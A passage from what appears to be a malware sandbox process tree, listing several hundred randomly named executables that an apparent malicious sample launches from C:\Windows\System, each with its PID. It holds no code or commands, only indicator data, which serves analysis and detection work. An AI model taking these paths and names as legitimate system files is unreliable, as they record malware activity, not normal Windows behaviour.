  C:\Windows\System\oUyxUnH.exe
  2⤵
  PID:6828
- C:\Windows\System\sNRxYGD.exe
  C:\Windows\System\sNRxYGD.exe
  2⤵
  PID:6844
- C:\Windows\System\XCHWCpN.exe
  C:\Windows\System\XCHWCpN.exe
  2⤵
  PID:6860
- C:\Windows\System\FVJSMre.exe
  C:\Windows\System\FVJSMre.exe
  2⤵
  PID:6876
- C:\Windows\System\wDbtuTp.exe
  C:\Windows\System\wDbtuTp.exe
  2⤵
  PID:6892
- C:\Windows\System\jBpwalq.exe
  C:\Windows\System\jBpwalq.exe
  2⤵
  PID:6908
- C:\Windows\System\HQMKyKw.exe
  C:\Windows\System\HQMKyKw.exe
  2⤵
  PID:6924
- C:\Windows\System\LrHoOJh.exe
  C:\Windows\System\LrHoOJh.exe
  2⤵
  PID:6940
- C:\Windows\System\LZcfunx.exe
  C:\Windows\System\LZcfunx.exe
  2⤵
  PID:6956
- C:\Windows\System\WndhXvO.exe
  C:\Windows\System\WndhXvO.exe
  2⤵
  PID:6976
- C:\Windows\System\VkbPvSK.exe
  C:\Windows\System\VkbPvSK.exe
  2⤵
  PID:6992
- C:\Windows\System\aAUqyFJ.exe
  C:\Windows\System\aAUqyFJ.exe
  2⤵
  PID:7008
- C:\Windows\System\GsNmwVi.exe
  C:\Windows\System\GsNmwVi.exe
  2⤵
  PID:7036
- C:\Windows\System\mZUhruy.exe
  C:\Windows\System\mZUhruy.exe
  2⤵
  PID:7052
- C:\Windows\System\buaojpy.exe
  C:\Windows\System\buaojpy.exe
  2⤵
  PID:7068
- C:\Windows\System\JAFZbru.exe
  C:\Windows\System\JAFZbru.exe
  2⤵
  PID:7084
- C:\Windows\System\GIoNLaX.exe
  C:\Windows\System\GIoNLaX.exe
  2⤵
  PID:7100
- C:\Windows\System\bzmHNtE.exe
  C:\Windows\System\bzmHNtE.exe
  2⤵
  PID:7116
- C:\Windows\System\QmHWfaD.exe
  C:\Windows\System\QmHWfaD.exe
  2⤵
  PID:7132
- C:\Windows\System\cWSINnw.exe
  C:\Windows\System\cWSINnw.exe
  2⤵
  PID:7152
- C:\Windows\System\MAdSlaR.exe
  C:\Windows\System\MAdSlaR.exe
  2⤵
  PID:5284
- C:\Windows\System\tczlusl.exe
  C:\Windows\System\tczlusl.exe
  2⤵
  PID:6188
- C:\Windows\System\qBFcmSG.exe
  C:\Windows\System\qBFcmSG.exe
  2⤵
  PID:6232
- C:\Windows\System\pVFlKCV.exe
  C:\Windows\System\pVFlKCV.exe
  2⤵
  PID:5580
- C:\Windows\System\gHdMqEY.exe
  C:\Windows\System\gHdMqEY.exe
  2⤵
  PID:6296
- C:\Windows\System\UPPnLxH.exe
  C:\Windows\System\UPPnLxH.exe
  2⤵
  PID:6208
- C:\Windows\System\EJjhRPS.exe
  C:\Windows\System\EJjhRPS.exe
  2⤵
  PID:6280
- C:\Windows\System\weodbrn.exe
  C:\Windows\System\weodbrn.exe
  2⤵
  PID:6360
- C:\Windows\System\iUIJSiU.exe
  C:\Windows\System\iUIJSiU.exe
  2⤵
  PID:6316
- C:\Windows\System\iCeoYdo.exe
  C:\Windows\System\iCeoYdo.exe
  2⤵
  PID:6384
- C:\Windows\System\JGbpHdH.exe
  C:\Windows\System\JGbpHdH.exe
  2⤵
  PID:6488
- C:\Windows\System\kQEIBQb.exe
  C:\Windows\System\kQEIBQb.exe
  2⤵
  PID:6504
- C:\Windows\System\nBajqin.exe
  C:\Windows\System\nBajqin.exe
  2⤵
  PID:6528
- C:\Windows\System\SvhRlHw.exe
  C:\Windows\System\SvhRlHw.exe
  2⤵
  PID:6576
- C:\Windows\System\AHVEBQc.exe
  C:\Windows\System\AHVEBQc.exe
  2⤵
  PID:6616
- C:\Windows\System\ApOjBBi.exe
  C:\Windows\System\ApOjBBi.exe
  2⤵
  PID:6596
- C:\Windows\System\OwZPVcX.exe
  C:\Windows\System\OwZPVcX.exe
  2⤵
  PID:6632
- C:\Windows\System\WxfhbRA.exe
  C:\Windows\System\WxfhbRA.exe
  2⤵
  PID:6692
- C:\Windows\System\CYHuPVO.exe
  C:\Windows\System\CYHuPVO.exe
  2⤵
  PID:6760
- C:\Windows\System\xLjiQAt.exe
  C:\Windows\System\xLjiQAt.exe
  2⤵
  PID:6820
- C:\Windows\System\taWmvZG.exe
  C:\Windows\System\taWmvZG.exe
  2⤵
  PID:6672
- C:\Windows\System\PUNZFFd.exe
  C:\Windows\System\PUNZFFd.exe
  2⤵
  PID:6744
- C:\Windows\System\uILKSwg.exe
  C:\Windows\System\uILKSwg.exe
  2⤵
  PID:6804
- C:\Windows\System\GbaQZnG.exe
  C:\Windows\System\GbaQZnG.exe
  2⤵
  PID:6840
- C:\Windows\System\vJVkcqF.exe
  C:\Windows\System\vJVkcqF.exe
  2⤵
  PID:6920
- C:\Windows\System\mlxAzLE.exe
  C:\Windows\System\mlxAzLE.exe
  2⤵
  PID:6984
- C:\Windows\System\ZnQbsoh.exe
  C:\Windows\System\ZnQbsoh.exe
  2⤵
  PID:7016
- C:\Windows\System\sBymgmq.exe
  C:\Windows\System\sBymgmq.exe
  2⤵
  PID:6968
- C:\Windows\System\PeLZeeY.exe
  C:\Windows\System\PeLZeeY.exe
  2⤵
  PID:7064
- C:\Windows\System\ExwyUkY.exe
  C:\Windows\System\ExwyUkY.exe
  2⤵
  PID:7128
- C:\Windows\System\GfkIXvz.exe
  C:\Windows\System\GfkIXvz.exe
  2⤵
  PID:6196
- C:\Windows\System\qaHGYWl.exe
  C:\Windows\System\qaHGYWl.exe
  2⤵
  PID:6292
- C:\Windows\System\dcdQGTP.exe
  C:\Windows\System\dcdQGTP.exe
  2⤵
  PID:6332
- C:\Windows\System\ulfgEvv.exe
  C:\Windows\System\ulfgEvv.exe
  2⤵
  PID:7076
- C:\Windows\System\gOVkNIr.exe
  C:\Windows\System\gOVkNIr.exe
  2⤵
  PID:7140
- C:\Windows\System\dgPGXGc.exe
  C:\Windows\System\dgPGXGc.exe
  2⤵
  PID:6160
- C:\Windows\System\sAppUDh.exe
  C:\Windows\System\sAppUDh.exe
  2⤵
  PID:6176
- C:\Windows\System\hlXHBvb.exe
  C:\Windows\System\hlXHBvb.exe
  2⤵
  PID:6400
- C:\Windows\System\xgtBXqe.exe
  C:\Windows\System\xgtBXqe.exe
  2⤵
  PID:6312
- C:\Windows\System\YtqIoTr.exe
  C:\Windows\System\YtqIoTr.exe
  2⤵
  PID:6444
- C:\Windows\System\QLQXODQ.exe
  C:\Windows\System\QLQXODQ.exe
  2⤵
  PID:6464
- C:\Windows\System\Huyzuzm.exe
  C:\Windows\System\Huyzuzm.exe
  2⤵
  PID:6480
- C:\Windows\System\qaLmSKC.exe
  C:\Windows\System\qaLmSKC.exe
  2⤵
  PID:6544
- C:\Windows\System\BegOrpS.exe
  C:\Windows\System\BegOrpS.exe
  2⤵
  PID:6564
- C:\Windows\System\RrsQpkr.exe
  C:\Windows\System\RrsQpkr.exe
  2⤵
  PID:6636
- C:\Windows\System\hEiUefP.exe
  C:\Windows\System\hEiUefP.exe
  2⤵
  PID:6888
- C:\Windows\System\QkuvyeA.exe
  C:\Windows\System\QkuvyeA.exe
  2⤵
  PID:6932
- C:\Windows\System\MAhhOyz.exe
  C:\Windows\System\MAhhOyz.exe
  2⤵
  PID:7124
- C:\Windows\System\YQKxMwI.exe
  C:\Windows\System\YQKxMwI.exe
  2⤵
  PID:6228
- C:\Windows\System\RveKqXr.exe
  C:\Windows\System\RveKqXr.exe
  2⤵
  PID:7148
- C:\Windows\System\QPqGdPu.exe
  C:\Windows\System\QPqGdPu.exe
  2⤵
  PID:6416
- C:\Windows\System\TwaMSgH.exe
  C:\Windows\System\TwaMSgH.exe
  2⤵
  PID:6600
- C:\Windows\System\uhwGNov.exe
  C:\Windows\System\uhwGNov.exe
  2⤵
  PID:6856
- C:\Windows\System\jUWboQn.exe
  C:\Windows\System\jUWboQn.exe
  2⤵
  PID:6440
- C:\Windows\System\ksHnlnE.exe
  C:\Windows\System\ksHnlnE.exe
  2⤵
  PID:6988
- C:\Windows\System\aBFKdEw.exe
  C:\Windows\System\aBFKdEw.exe
  2⤵
  PID:1568
- C:\Windows\System\dpQKjZl.exe
  C:\Windows\System\dpQKjZl.exe
  2⤵
  PID:5748
- C:\Windows\System\GtMiLUo.exe
  C:\Windows\System\GtMiLUo.exe
  2⤵
  PID:6532
- C:\Windows\System\mzjHvLY.exe
  C:\Windows\System\mzjHvLY.exe
  2⤵
  PID:6248
- C:\Windows\System\rXGCLuA.exe
  C:\Windows\System\rXGCLuA.exe
  2⤵
  PID:5164
- C:\Windows\System\pcaHFpe.exe
  C:\Windows\System\pcaHFpe.exe
  2⤵
  PID:7024
- C:\Windows\System\XlkTdFk.exe
  C:\Windows\System\XlkTdFk.exe
  2⤵
  PID:6420
- C:\Windows\System\KlVEjYJ.exe
  C:\Windows\System\KlVEjYJ.exe
  2⤵
  PID:7060
- C:\Windows\System\mzHrcwp.exe
  C:\Windows\System\mzHrcwp.exe
  2⤵
  PID:6540
- C:\Windows\System\RXjNVuV.exe
  C:\Windows\System\RXjNVuV.exe
  2⤵
  PID:6964
- C:\Windows\System\cmCfRrX.exe
  C:\Windows\System\cmCfRrX.exe
  2⤵
  PID:6792
- C:\Windows\System\BsXJmww.exe
  C:\Windows\System\BsXJmww.exe
  2⤵
  PID:6900
- C:\Windows\System\lrykwSc.exe
  C:\Windows\System\lrykwSc.exe
  2⤵
  PID:6740
- C:\Windows\System\MnkABlA.exe
  C:\Windows\System\MnkABlA.exe
  2⤵
  PID:6396
- C:\Windows\System\wAOjGDh.exe
  C:\Windows\System\wAOjGDh.exe
  2⤵
  PID:7164
- C:\Windows\System\eScwgRX.exe
  C:\Windows\System\eScwgRX.exe
  2⤵
  PID:6172
- C:\Windows\System\OwRsmvB.exe
  C:\Windows\System\OwRsmvB.exe
  2⤵
  PID:7048
- C:\Windows\System\YShvUPg.exe
  C:\Windows\System\YShvUPg.exe
  2⤵
  PID:6412
- C:\Windows\System\TDGfsDg.exe
  C:\Windows\System\TDGfsDg.exe
  2⤵
  PID:7184
- C:\Windows\System\UQatJki.exe
  C:\Windows\System\UQatJki.exe
  2⤵
  PID:7200
- C:\Windows\System\QqvnGak.exe
  C:\Windows\System\QqvnGak.exe
  2⤵
  PID:7216
- C:\Windows\System\uQgxvFX.exe
  C:\Windows\System\uQgxvFX.exe
  2⤵
  PID:7236
- C:\Windows\System\zPqIEqV.exe
  C:\Windows\System\zPqIEqV.exe
  2⤵
  PID:7252
- C:\Windows\System\ZlhCucJ.exe
  C:\Windows\System\ZlhCucJ.exe
  2⤵
  PID:7272
- C:\Windows\System\biyAoud.exe
  C:\Windows\System\biyAoud.exe
  2⤵
  PID:7292
- C:\Windows\System\VrIeDgj.exe
  C:\Windows\System\VrIeDgj.exe
  2⤵
  PID:7308
- C:\Windows\System\UYexbdJ.exe
  C:\Windows\System\UYexbdJ.exe
  2⤵
  PID:7324
- C:\Windows\System\HhJGGtZ.exe
  C:\Windows\System\HhJGGtZ.exe
  2⤵
  PID:7340
- C:\Windows\System\bkssDvD.exe
  C:\Windows\System\bkssDvD.exe
  2⤵
  PID:7360
- C:\Windows\System\lAPFkQr.exe
  C:\Windows\System\lAPFkQr.exe
  2⤵
  PID:7376
- C:\Windows\System\lkMikOV.exe
  C:\Windows\System\lkMikOV.exe
  2⤵
  PID:7392
- C:\Windows\System\cYTiAST.exe
  C:\Windows\System\cYTiAST.exe
  2⤵
  PID:7408
- C:\Windows\System\pxBcnHN.exe
  C:\Windows\System\pxBcnHN.exe
  2⤵
  PID:7428
- C:\Windows\System\HyCSSir.exe
  C:\Windows\System\HyCSSir.exe
  2⤵
  PID:7444
- C:\Windows\System\GMCOdVI.exe
  C:\Windows\System\GMCOdVI.exe
  2⤵
  PID:7460
- C:\Windows\System\mLTbbSj.exe
  C:\Windows\System\mLTbbSj.exe
  2⤵
  PID:7476
- C:\Windows\System\JhUItuR.exe
  C:\Windows\System\JhUItuR.exe
  2⤵
  PID:7492
- C:\Windows\System\pfdegie.exe
  C:\Windows\System\pfdegie.exe
  2⤵
  PID:7508
- C:\Windows\System\DRKmgjE.exe
  C:\Windows\System\DRKmgjE.exe
  2⤵
  PID:7528
- C:\Windows\System\ZBbHwsa.exe
  C:\Windows\System\ZBbHwsa.exe
  2⤵
  PID:7548
- C:\Windows\System\IdZSBzM.exe
  C:\Windows\System\IdZSBzM.exe
  2⤵
  PID:7564
- C:\Windows\System\BUUHvhM.exe
  C:\Windows\System\BUUHvhM.exe
  2⤵
  PID:7580
- C:\Windows\System\nfBEqzN.exe
  C:\Windows\System\nfBEqzN.exe
  2⤵
  PID:7596
- C:\Windows\System\rnwtdkR.exe
  C:\Windows\System\rnwtdkR.exe
  2⤵
  PID:7616
- C:\Windows\System\rGimzfi.exe
  C:\Windows\System\rGimzfi.exe
  2⤵
  PID:7632
- C:\Windows\System\lqBuEHs.exe
  C:\Windows\System\lqBuEHs.exe
  2⤵
  PID:7652
- C:\Windows\System\DKkKKlo.exe
  C:\Windows\System\DKkKKlo.exe
  2⤵
  PID:7668
- C:\Windows\System\eVtTZmA.exe
  C:\Windows\System\eVtTZmA.exe
  2⤵
  PID:7684
- C:\Windows\System\qgLandB.exe
  C:\Windows\System\qgLandB.exe
  2⤵
  PID:7700
- C:\Windows\System\goHfqQr.exe
  C:\Windows\System\goHfqQr.exe
  2⤵
  PID:7716
- C:\Windows\System\BknCLlY.exe
  C:\Windows\System\BknCLlY.exe
  2⤵
  PID:7732
- C:\Windows\System\yHYkPpw.exe
  C:\Windows\System\yHYkPpw.exe
  2⤵
  PID:7748
- C:\Windows\System\tpXkNOl.exe
  C:\Windows\System\tpXkNOl.exe
  2⤵
  PID:7776
- C:\Windows\System\LzwpqMT.exe
  C:\Windows\System\LzwpqMT.exe
  2⤵
  PID:7792
- C:\Windows\System\uxHDhQB.exe
  C:\Windows\System\uxHDhQB.exe
  2⤵
  PID:7808
- C:\Windows\System\qknmhKU.exe
  C:\Windows\System\qknmhKU.exe
  2⤵
  PID:7824
- C:\Windows\System\DMinKHo.exe
  C:\Windows\System\DMinKHo.exe
  2⤵
  PID:7840
- C:\Windows\System\UIOQSDw.exe
  C:\Windows\System\UIOQSDw.exe
  2⤵
  PID:7856
- C:\Windows\System\VbEZNlw.exe
  C:\Windows\System\VbEZNlw.exe
  2⤵
  PID:7976
- C:\Windows\System\YRgOQeC.exe
  C:\Windows\System\YRgOQeC.exe
  2⤵
  PID:7992
- C:\Windows\System\TNWkfMQ.exe
  C:\Windows\System\TNWkfMQ.exe
  2⤵
  PID:8008
- C:\Windows\System\WFajbbV.exe
  C:\Windows\System\WFajbbV.exe
  2⤵
  PID:8024
- C:\Windows\System\SwfFlFW.exe
  C:\Windows\System\SwfFlFW.exe
  2⤵
  PID:8040
- C:\Windows\System\EwyWiKL.exe
  C:\Windows\System\EwyWiKL.exe
  2⤵
  PID:8060
- C:\Windows\System\HTAdrWf.exe
  C:\Windows\System\HTAdrWf.exe
  2⤵
  PID:8076
- C:\Windows\System\uxHycCj.exe
  C:\Windows\System\uxHycCj.exe
  2⤵
  PID:7176
- C:\Windows\System\auHGeZa.exe
  C:\Windows\System\auHGeZa.exe
  2⤵
  PID:7244
- C:\Windows\System\wDgJElN.exe
  C:\Windows\System\wDgJElN.exe
  2⤵
  PID:6524
- C:\Windows\System\zEsjZUU.exe
  C:\Windows\System\zEsjZUU.exe
  2⤵
  PID:7356
- C:\Windows\System\RZjCSbl.exe
  C:\Windows\System\RZjCSbl.exe
  2⤵
  PID:7284
- C:\Windows\System\bFafpqJ.exe
  C:\Windows\System\bFafpqJ.exe
  2⤵
  PID:7332
- C:\Windows\System\OhhxaFi.exe
  C:\Windows\System\OhhxaFi.exe
  2⤵
  PID:7368
- C:\Windows\System\FkDcjAq.exe
  C:\Windows\System\FkDcjAq.exe
  2⤵
  PID:7228
- C:\Windows\System\hhKnHCj.exe
  C:\Windows\System\hhKnHCj.exe
  2⤵
  PID:7388
- C:\Windows\System\goTXHnF.exe
  C:\Windows\System\goTXHnF.exe
  2⤵
  PID:7400
- C:\Windows\System\UieuvSD.exe
  C:\Windows\System\UieuvSD.exe
  2⤵
  PID:7424
- C:\Windows\System\QcIhHDN.exe
  C:\Windows\System\QcIhHDN.exe
  2⤵
  PID:7468
- C:\Windows\System\KgZSbxV.exe
  C:\Windows\System\KgZSbxV.exe
  2⤵
  PID:7500
- C:\Windows\System\PthPuKB.exe
  C:\Windows\System\PthPuKB.exe
  2⤵
  PID:7536
- C:\Windows\System\hfThlBw.exe
  C:\Windows\System\hfThlBw.exe
  2⤵
  PID:7592
- C:\Windows\System\SrQRALD.exe
  C:\Windows\System\SrQRALD.exe
  2⤵
  PID:7624
- C:\Windows\System\eWSIypK.exe
  C:\Windows\System\eWSIypK.exe
  2⤵
  PID:7664
- C:\Windows\System\dHYcbFg.exe
  C:\Windows\System\dHYcbFg.exe
  2⤵
  PID:7728
- C:\Windows\System\uoCuUHv.exe
  C:\Windows\System\uoCuUHv.exe
  2⤵
  PID:7676
- C:\Windows\System\DraRdZQ.exe
  C:\Windows\System\DraRdZQ.exe
  2⤵
  PID:7740
- C:\Windows\System\LcftTWL.exe
  C:\Windows\System\LcftTWL.exe
  2⤵
  PID:7768
- C:\Windows\System\rBPnXVE.exe
  C:\Windows\System\rBPnXVE.exe
  2⤵
  PID:7832
- C:\Windows\System\oCLevoL.exe
  C:\Windows\System\oCLevoL.exe
  2⤵
  PID:7820
- C:\Windows\System\cYdaarY.exe
  C:\Windows\System\cYdaarY.exe
  2⤵
  PID:7852
- C:\Windows\System\MQQdCNp.exe
  C:\Windows\System\MQQdCNp.exe
  2⤵
  PID:7872
- C:\Windows\System\uwQrWTO.exe
  C:\Windows\System\uwQrWTO.exe
  2⤵
  PID:7984
- C:\Windows\System\eUvueay.exe
  C:\Windows\System\eUvueay.exe
  2⤵
  PID:8048
- C:\Windows\System\sDqyGQu.exe
  C:\Windows\System\sDqyGQu.exe
  2⤵
  PID:8092
- C:\Windows\System\yPhLEXT.exe
  C:\Windows\System\yPhLEXT.exe
  2⤵
  PID:8108
- C:\Windows\System\CjTGIMH.exe
  C:\Windows\System\CjTGIMH.exe
  2⤵
  PID:7904
- C:\Windows\System\OtYTYyV.exe
  C:\Windows\System\OtYTYyV.exe
  2⤵
  PID:7968
- C:\Windows\System\xfXlUWF.exe
  C:\Windows\System\xfXlUWF.exe
  2⤵
  PID:8124
- C:\Windows\System\eWvAVDk.exe
  C:\Windows\System\eWvAVDk.exe
  2⤵
  PID:8140
- C:\Windows\System\vPmKiht.exe
  C:\Windows\System\vPmKiht.exe
  2⤵
  PID:7932
- C:\Windows\System\NOGTOgK.exe
  C:\Windows\System\NOGTOgK.exe
  2⤵
  PID:7948
- C:\Windows\System\RfigHkK.exe
  C:\Windows\System\RfigHkK.exe
  2⤵
  PID:8004
- C:\Windows\System\nQtshtl.exe
  C:\Windows\System\nQtshtl.exe
  2⤵
  PID:8160
- C:\Windows\System\qrAKhiT.exe
  C:\Windows\System\qrAKhiT.exe
  2⤵
  PID:8176
- C:\Windows\System\xDkgJIu.exe
  C:\Windows\System\xDkgJIu.exe
  2⤵
  PID:8036
- C:\Windows\System\kpZkdCH.exe
  C:\Windows\System\kpZkdCH.exe
  2⤵
  PID:8180
- C:\Windows\System\cjKENEj.exe
  C:\Windows\System\cjKENEj.exe
  2⤵
  PID:7112
- C:\Windows\System\WGtPUpX.exe
  C:\Windows\System\WGtPUpX.exe
  2⤵
  PID:7304
- C:\Windows\System\BBHhiRu.exe
  C:\Windows\System\BBHhiRu.exe
  2⤵
  PID:7212
- C:\Windows\System\UauytAL.exe
  C:\Windows\System\UauytAL.exe
  2⤵
  PID:7440
- C:\Windows\System\XdIhsCu.exe
  C:\Windows\System\XdIhsCu.exe
  2⤵
  PID:7384
- C:\Windows\System\clystQr.exe
  C:\Windows\System\clystQr.exe
  2⤵
  PID:7484
- C:\Windows\System\vrHWDox.exe
  C:\Windows\System\vrHWDox.exe
  2⤵
  PID:7472
- C:\Windows\System\ITNyhaA.exe
  C:\Windows\System\ITNyhaA.exe
  2⤵
  PID:7560
- C:\Windows\System\HQOOXKI.exe
  C:\Windows\System\HQOOXKI.exe
  2⤵
  PID:7608
- C:\Windows\System\nwqcQqf.exe
  C:\Windows\System\nwqcQqf.exe
  2⤵
  PID:7708
- C:\Windows\System\WOaONcg.exe
  C:\Windows\System\WOaONcg.exe
  2⤵
  PID:7784
- C:\Windows\System\fzNqgfB.exe
  C:\Windows\System\fzNqgfB.exe
  2⤵
  PID:7660
- C:\Windows\System\WTfoZLv.exe
  C:\Windows\System\WTfoZLv.exe
  2⤵
  PID:7888
- C:\Windows\System\pJIKull.exe
  C:\Windows\System\pJIKull.exe
  2⤵
  PID:7788
- C:\Windows\System\dIOiIdb.exe
  C:\Windows\System\dIOiIdb.exe
  2⤵
  PID:8016
- C:\Windows\System\wgOCurx.exe
  C:\Windows\System\wgOCurx.exe
  2⤵
  PID:7900
- C:\Windows\System\aXFaeyz.exe
  C:\Windows\System\aXFaeyz.exe
  2⤵
  PID:7960
- C:\Windows\System\KbBCwUR.exe
  C:\Windows\System\KbBCwUR.exe
  2⤵
  PID:8136
- C:\Windows\System\fmmJFpN.exe
  C:\Windows\System\fmmJFpN.exe
  2⤵
  PID:8168
- C:\Windows\System\NERfpxq.exe
  C:\Windows\System\NERfpxq.exe
  2⤵
  PID:6724
- C:\Windows\System\UKaVVYo.exe
  C:\Windows\System\UKaVVYo.exe
  2⤵
  PID:8000
- C:\Windows\System\pytXkUA.exe
  C:\Windows\System\pytXkUA.exe
  2⤵
  PID:8156
- C:\Windows\System\qZCRWwh.exe
  C:\Windows\System\qZCRWwh.exe
  2⤵
  PID:8152
- C:\Windows\System\OhMdbCv.exe
  C:\Windows\System\OhMdbCv.exe
  2⤵
  PID:7724
- C:\Windows\System\vwTRBDL.exe
  C:\Windows\System\vwTRBDL.exe
  2⤵
  PID:7288
- C:\Windows\System\kzTyUkY.exe
  C:\Windows\System\kzTyUkY.exe
  2⤵
  PID:7604
- C:\Windows\System\VtyuCoL.exe
  C:\Windows\System\VtyuCoL.exe
  2⤵
  PID:7764
- C:\Windows\System\vbGcLcy.exe
  C:\Windows\System\vbGcLcy.exe
  2⤵
  PID:7868
- C:\Windows\System\bDWLTTQ.exe
  C:\Windows\System\bDWLTTQ.exe
  2⤵
  PID:8132
- C:\Windows\System\ddQPjMZ.exe
  C:\Windows\System\ddQPjMZ.exe
  2⤵
  PID:8188
- C:\Windows\System\CtwyQoQ.exe
  C:\Windows\System\CtwyQoQ.exe
  2⤵
  PID:7504
- C:\Windows\System\ZnAqkeH.exe
  C:\Windows\System\ZnAqkeH.exe
  2⤵
  PID:7544
- C:\Windows\System\YVRQWDo.exe
  C:\Windows\System\YVRQWDo.exe
  2⤵
  PID:8196
- C:\Windows\System\pzKAQvr.exe
  C:\Windows\System\pzKAQvr.exe
  2⤵
  PID:8212
- C:\Windows\System\uOteZpd.exe
  C:\Windows\System\uOteZpd.exe
  2⤵
  PID:8228
- C:\Windows\System\GIhDwps.exe
  C:\Windows\System\GIhDwps.exe
  2⤵
  PID:8244
- C:\Windows\System\lCFZwTl.exe
  C:\Windows\System\lCFZwTl.exe
  2⤵
  PID:8260
- C:\Windows\System\ycRDPVb.exe
  C:\Windows\System\ycRDPVb.exe
  2⤵
  PID:8276
- C:\Windows\System\sZUryJO.exe
  C:\Windows\System\sZUryJO.exe
  2⤵
  PID:8292
- C:\Windows\System\TflEalG.exe
  C:\Windows\System\TflEalG.exe
  2⤵
  PID:8308
- C:\Windows\System\DeEpaHi.exe
  C:\Windows\System\DeEpaHi.exe
  2⤵
  PID:8324
- C:\Windows\System\wpkqWtc.exe
  C:\Windows\System\wpkqWtc.exe
  2⤵
  PID:8340
- C:\Windows\System\nWFpFgf.exe
  C:\Windows\System\nWFpFgf.exe
  2⤵
  PID:8356
- C:\Windows\System\CqhKoJV.exe
  C:\Windows\System\CqhKoJV.exe
  2⤵
  PID:8372
- C:\Windows\System\QVQiqiO.exe
  C:\Windows\System\QVQiqiO.exe
  2⤵
  PID:8388
- C:\Windows\System\CiRhwUV.exe
  C:\Windows\System\CiRhwUV.exe
  2⤵
  PID:8404
- C:\Windows\System\DRrjHZl.exe
  C:\Windows\System\DRrjHZl.exe
  2⤵
  PID:8420
- C:\Windows\System\VXiqoSX.exe
  C:\Windows\System\VXiqoSX.exe
  2⤵
  PID:8436
- C:\Windows\System\aQfHiOI.exe
  C:\Windows\System\aQfHiOI.exe
  2⤵
  PID:8452
- C:\Windows\System\VQHbjUX.exe
  C:\Windows\System\VQHbjUX.exe
  2⤵
  PID:8468
- C:\Windows\System\JilVcfq.exe
  C:\Windows\System\JilVcfq.exe
  2⤵
  PID:8484
- C:\Windows\System\YaATjNA.exe
  C:\Windows\System\YaATjNA.exe
  2⤵
  PID:8500
- C:\Windows\System\svyNaEw.exe
  C:\Windows\System\svyNaEw.exe
  2⤵
  PID:8516
- C:\Windows\System\ndXapjg.exe
  C:\Windows\System\ndXapjg.exe
  2⤵
  PID:8532
- C:\Windows\System\bicBvtj.exe
  C:\Windows\System\bicBvtj.exe
  2⤵
  PID:8548
- C:\Windows\System\WSPcEUo.exe
  C:\Windows\System\WSPcEUo.exe
  2⤵
  PID:8564
- C:\Windows\System\tABhtlj.exe
  C:\Windows\System\tABhtlj.exe
  2⤵
  PID:8580
- C:\Windows\System\VWvrKEh.exe
  C:\Windows\System\VWvrKEh.exe
  2⤵
  PID:8596
- C:\Windows\System\MTuPLcw.exe
  C:\Windows\System\MTuPLcw.exe
  2⤵
  PID:8612
- C:\Windows\System\YIUpJRm.exe
  C:\Windows\System\YIUpJRm.exe
  2⤵
  PID:8628
- C:\Windows\System\nCPsNew.exe
  C:\Windows\System\nCPsNew.exe
  2⤵
  PID:8644
- C:\Windows\System\cwqdHuX.exe
  C:\Windows\System\cwqdHuX.exe
  2⤵
  PID:8660
- C:\Windows\System\yNorcud.exe
  C:\Windows\System\yNorcud.exe
  2⤵
  PID:8676
- C:\Windows\System\gCDvAIq.exe
  C:\Windows\System\gCDvAIq.exe
  2⤵
  PID:8692
- C:\Windows\System\DINuBDF.exe
  C:\Windows\System\DINuBDF.exe
  2⤵
  PID:8708
- C:\Windows\System\JZDzgWd.exe
  C:\Windows\System\JZDzgWd.exe
  2⤵
  PID:8724
- C:\Windows\System\WfaqFft.exe
  C:\Windows\System\WfaqFft.exe
  2⤵
  PID:8740
- C:\Windows\System\MhatMWd.exe
  C:\Windows\System\MhatMWd.exe
  2⤵
  PID:8756
- C:\Windows\System\qdUtekt.exe
  C:\Windows\System\qdUtekt.exe
  2⤵
  PID:8772
- C:\Windows\System\AszxAkc.exe
  C:\Windows\System\AszxAkc.exe
  2⤵
  PID:8788
- C:\Windows\System\lSrvDMD.exe
  C:\Windows\System\lSrvDMD.exe
  2⤵
  PID:8804
- C:\Windows\System\PjZLKZW.exe
  C:\Windows\System\PjZLKZW.exe
  2⤵
  PID:8824
- C:\Windows\System\pLmtSFQ.exe
  C:\Windows\System\pLmtSFQ.exe
  2⤵
  PID:8840
- C:\Windows\System\vjjfUFJ.exe
  C:\Windows\System\vjjfUFJ.exe
  2⤵
  PID:8856
- C:\Windows\System\Mcrjgxu.exe
  C:\Windows\System\Mcrjgxu.exe
  2⤵
  PID:8872
- C:\Windows\System\dUQXcdM.exe
  C:\Windows\System\dUQXcdM.exe
  2⤵
  PID:8888
- C:\Windows\System\ChjIYIW.exe
  C:\Windows\System\ChjIYIW.exe
  2⤵
  PID:8904
- C:\Windows\System\QbNpLXL.exe
  C:\Windows\System\QbNpLXL.exe
  2⤵
  PID:8920
- C:\Windows\System\WFXcpyX.exe
  C:\Windows\System\WFXcpyX.exe
  2⤵
  PID:8936
- C:\Windows\System\SNMqUxb.exe
  C:\Windows\System\SNMqUxb.exe
  2⤵
  PID:8960
- C:\Windows\System\zktFmho.exe
  C:\Windows\System\zktFmho.exe
  2⤵
  PID:8976
- C:\Windows\System\gbvwprG.exe
  C:\Windows\System\gbvwprG.exe
  2⤵
  PID:8992
- C:\Windows\System\ttQxDxx.exe
  C:\Windows\System\ttQxDxx.exe
  2⤵
  PID:9008
- C:\Windows\System\fxNygGn.exe
  C:\Windows\System\fxNygGn.exe
  2⤵
  PID:9024
- C:\Windows\System\ygPgpgP.exe
  C:\Windows\System\ygPgpgP.exe
  2⤵
  PID:9040
- C:\Windows\System\PLClQDg.exe
  C:\Windows\System\PLClQDg.exe
  2⤵
  PID:9056
- C:\Windows\System\xDZHFsY.exe
  C:\Windows\System\xDZHFsY.exe
  2⤵
  PID:9072
- C:\Windows\System\yYHqXdG.exe
  C:\Windows\System\yYHqXdG.exe
  2⤵
  PID:9088
- C:\Windows\System\nhSsMJZ.exe
  C:\Windows\System\nhSsMJZ.exe
  2⤵
  PID:9104
- C:\Windows\System\DNqVebP.exe
  C:\Windows\System\DNqVebP.exe
  2⤵
  PID:9120
- C:\Windows\System\yuzIyYk.exe
  C:\Windows\System\yuzIyYk.exe
  2⤵
  PID:9136
- C:\Windows\System\iZAESgm.exe
  C:\Windows\System\iZAESgm.exe
  2⤵
  PID:9152
- C:\Windows\System\BtfquiL.exe
  C:\Windows\System\BtfquiL.exe
  2⤵
  PID:9168
- C:\Windows\System\DvPuuWW.exe
  C:\Windows\System\DvPuuWW.exe
  2⤵
  PID:9184
- C:\Windows\System\QGFWBKq.exe
  C:\Windows\System\QGFWBKq.exe
  2⤵
  PID:9200
- C:\Windows\System\eaDOEPM.exe
  C:\Windows\System\eaDOEPM.exe
  2⤵
  PID:8204
- C:\Windows\System\agndqJa.exe
